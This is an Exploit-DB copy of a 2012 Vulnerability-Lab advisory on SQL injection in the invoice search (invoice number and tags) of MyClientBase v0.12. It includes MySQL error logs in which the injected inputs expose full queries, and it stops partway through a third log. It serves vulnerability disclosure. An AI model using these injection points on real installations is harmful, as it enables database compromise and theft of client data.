Exploit-DB #18814
Description: MyClientBase 0.12 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-01
Author: Vulnerability-Lab

Exploit:
Title:
======
MyClientBase v0.12 - Multiple Web Vulnerabilities


Date:
=====
2012-04-30


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=511


VL-ID:
=====
511


Introduction:
=============
MyClientBase is a simple, intuitive, free and open source web based invoice management 
system developed with freelancers in mind. MCB is and always will be a community driven 
project which aims to provide freelancers with a simple and intuitive invoice management 
system. Please consider contributing your ideas, suggestions, comments, etc! MyClientBase 
is designed to manage your clients and invoices as simply as possible. Every feature 
included is aimed to benefit every user - not just one or two. Many of the features you`ll 
find in MyClientBase were suggested by the community. Those suggestions that benefit the 
community as a whole are what makes MyClientBase the successful project that it is.

- Community driven
- Completely web-based
- Unlimited everything
- Configurable taxes
- Multi-language support
- Editable invoice templates
- Client access through Client Center
- Collect payments online
- Inventory tracking

(Copy of the Vendor Homepage: http://myclientbase.com/ )


Abstract:
=========
A Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in MyClientBase v0.12 application.


Report-Timeline:
================
2012-04-30:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
Multiple remote SQL Injection vulnerabilities are detected in the MyClientBase Content Management System v0.12. 
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application 
compromise. The vulnerability is located on invoice & tag when processing to request the invoice search module function 
of the content management system. The technqiue behind is a easy order by injection mdb


Vulnerable Module(s):
					[+] Invoice Search - invoice# & tags


--- SQL Exception Logs ---

A Database Error Occurred
Error Number: 1054

Unknown column `1` in `where clause`

SELECT SQL_CALC_FOUND_ROWS mcb_invoices.*, mcb_invoice_amounts.*, mcb_clients.*, mcb_users.username, 
mcb_users.company_name AS from_company_name, mcb_users.last_name AS from_last_name, mcb_users.first_name 
AS from_first_name, mcb_users.address AS from_address, mcb_users.address_2 AS from_address_2, mcb_users.city 
AS from_city, mcb_users.state AS from_state, mcb_users.zip AS from_zip, mcb_users.country AS from_country, 
mcb_users.phone_number AS from_phone_number, mcb_users.email_address AS from_email_address, mcb_users.
web_address AS from_web_address, mcb_invoice_statuses.*, IF(mcb_invoice_statuses.invoice_status_type <> 
3, IF(mcb_invoices.invoice_due_date < UNIX_TIMESTAMP(), 1, 0), 0) AS invoice_is_overdue, (DATEDIFF(FROM_UNIXTIME
(UNIX_TIMESTAMP()), FROM_UNIXTIME(mcb_invoices.invoice_due_date))) AS invoice_days_overdue, mcb_users.tax_id_number 
AS from_tax_id_number FROM (mcb_invoices) LEFT JOIN mcb_invoice_statuses ON mcb_invoice_statuses.invoice_status_id 
= mcb_invoices.invoice_status_id LEFT JOIN mcb_users ON mcb_users.user_id = mcb_invoices.user_id JOIN 
mcb_invoice_amounts ON mcb_invoice_amounts.invoice_id = mcb_invoices.invoice_id JOIN mcb_clients ON mcb_clients.
client_id = mcb_invoices.client_id WHERE `mcb_invoices`.`invoice_is_quote` = 0 AND `mcb_invoices`.`invoice_id` 
IN (SELECT invoice_id FROM mcb_invoice_tags WHERE tag_id IN (SELECT tag_id FROM mcb_tags WHERE tag IN(`-1`))) AND
 `1` = `mcb_invoices.invoice_number LIKE  `%-1 `% `` AND mcb_invoices.client_id IN (`2`) ORDER BY mcb_invoices.
invoice_date_entered DESC, mcb_invoices.invoice_id DESC LIMIT 15

Filename: 	/home/[USER]/public_html/[SERVICE]/myclientbase/core/MY_Model.php
Line Number: 	92

---

A Database Error Occurred
Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near `%` AND mcb_invoices.client_id IN (`1`) ORDER BY mcb_invoices.invoice_date_enter` at line 9

SELECT SQL_CALC_FOUND_ROWS mcb_invoices.*, mcb_invoice_amounts.*, mcb_clients.*, mcb_users.username, mcb_users.
company_name AS from_company_name, mcb_users.last_name AS from_last_name, mcb_users.first_name AS from_first_name, 
mcb_users.address AS from_address, mcb_users.address_2 AS from_address_2, mcb_users.city AS from_city, mcb_users.state 
AS from_state, mcb_users.zip AS from_zip, mcb_users.country AS from_country, mcb_users.phone_number AS from_phone_number, 
mcb_users.email_address AS from_email_address, mcb_users.web_address AS from_web_address, mcb_invoice_statuses.*, 
IF(mcb_invoice_statuses.invoice_status_type <> 3, IF(mcb_invoices.invoice_due_date < UNIX_TIMESTAMP(), 1, 0), 0) AS 
invoice_is_overdue, (DATEDIFF(FROM_UNIXTIME(UNIX_TIMESTAMP()), FROM_UNIXTIME(mcb_invoices.invoice_due_date))) AS 
invoice_days_overdue, mcb_users.tax_id_number AS from_tax_id_number FROM (mcb_invoices) LEFT JOIN mcb_invoice_statuses 
ON mcb_invoice_statuses.invoice_status_id = mcb_invoices.invoice_status_id LEFT JOIN mcb_users ON mcb_users.user_id = 
mcb_invoices.user_id JOIN mcb_invoice_amounts ON mcb_invoice_amounts.invoice_id = mcb_invoices.invoice_id JOIN mcb_clients 
ON mcb_clients.client_id = mcb_invoices.client_id WHERE `mcb_invoices`.`invoice_is_quote` = 0 AND `mcb_invoices`.`
invoice_number` LIKE `%-1`%` AND mcb_invoices.client_id IN (`1`) ORDER BY mcb_invoices.invoice_date_entered DESC, 
mcb_invoices.invoice_id DESC LIMIT 15

Filename: /home/[USER]/public_html/[SERVICE]/myclientbase/core/MY_Model.php

Line Number: 92
--
A Database Error Occurred
Error Number: